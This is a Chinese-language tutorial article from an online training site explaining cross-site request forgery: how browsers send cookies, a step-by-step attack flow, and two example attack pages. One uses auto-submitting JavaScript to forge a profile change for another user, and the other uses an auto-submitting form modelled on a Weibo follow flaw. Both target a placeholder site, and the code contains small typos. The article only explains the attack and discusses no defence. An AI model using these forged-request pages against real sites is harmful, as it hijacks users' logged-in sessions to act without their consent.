下载安卓APP箭头
箭头给我发消息

客服QQ:3315713922

解析CSRF跨站请求伪造

作者:课课家教育     来源: http://www.kokojia.com点击数:1039发布时间: 2018-01-02 08:00:00

标签: webhtml微博

  当存心不良的web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击。可能有些朋友对CSRF不是很熟悉,不要紧,我们下面就来学习。
  什么是CSRF?
  跨站请求伪造是指攻击者可以在第三方站点制造http请求并以用户在目标站点的登陆态发送到目标站点,而目标站点未校验请求来源使第三方成功伪造请求。
  JS控制浏览器发送请求的时候,浏览器时根据目标站点,而不是来源站点,来发送cookie的,如果当前会话中有目标站点的cookie,就发送出去。核心问题是浏览器的会话机制,是跨站请求伪造漏洞的根源。
  CSRF(Cross-site requestforgery,跨站请求伪造)也被称为“oneclickattack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。
  CSRF攻击原理
  CSRF攻击原理比较简单,如下图所示。其中web A为存在CSRF漏洞的网站,web B为攻击者构建的恶意网站,user C为web A网站的合法用户。
  解析CSRF跨站请求伪造 _web_html_微博_课课家教育
  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
  CSRF攻击之所以会发生,其根本原因就是Web站点所验证的是Web浏览器而非用户本身。下面我们用体的示例来详细介绍CSRF攻击。
  例A:
  针对某个人进行CSRF POST攻击,需要诱导用户点击所以称 one click attack
  首先假定有2个用户,分别为 A用户 和 B用户
  A用户申请的ID为1 ,B用户申请的ID为2
  A用户修改个人资料的URL假设为:http://www.xxx.com/userinfo.php?id=1
  POST参数为name
  如果A用户知道B用户ID为2且A用户通过修改ID不能访问到B用户的时候,可以进行CSRF攻击
  首先建个页面,页面代码如下:
  <html>
  <body>
  <script>
  form=document.createElement('form');
  form.setAttribute("action","http://http://www.xxx.com/userinfo.php?uid=2");
  form.setAttribute("method","post");
  form.setAttribute("name","myform");
  input=document.createElement('input');
  input.setAttribute("type","text");
  input.setAttribute("name","username");
  input.setAttribute("value","更改 B 用户");
  document.body.appendChild(form);
  form.appendChild(input);
  document.myform.submit();
  </sript>
  </html>
  例B:针对所有人进进行CSRF POST攻击,one click attack
  这里新浪微博关注漏洞,利用的就是这个原理
  <html>
  <body>
  <form id="imlonghao" name="imlonghao" action="http://www.xxx.com/ajaxv2/user/addRelation" method="post">
  <input type="text" name="obj_id" value="[You ID]" /> //要关注谁就填哪个ID,只要用户点击这个页面,即可关注该ID
  </form>
  <script>
  document.imlonghao.submit();
  </script>
  </body>
  </html>
  别人只要点击链接,即可触发漏洞
  今天关于CSRF的内容就学到这啦,你是不是对CSRF有了不同的认识?阅读更多内容,欢迎登陆课课家(www.kokojia.com)!

赞(13)
踩(0)
分享到:
华为认证网络工程师 HCIE直播课视频教程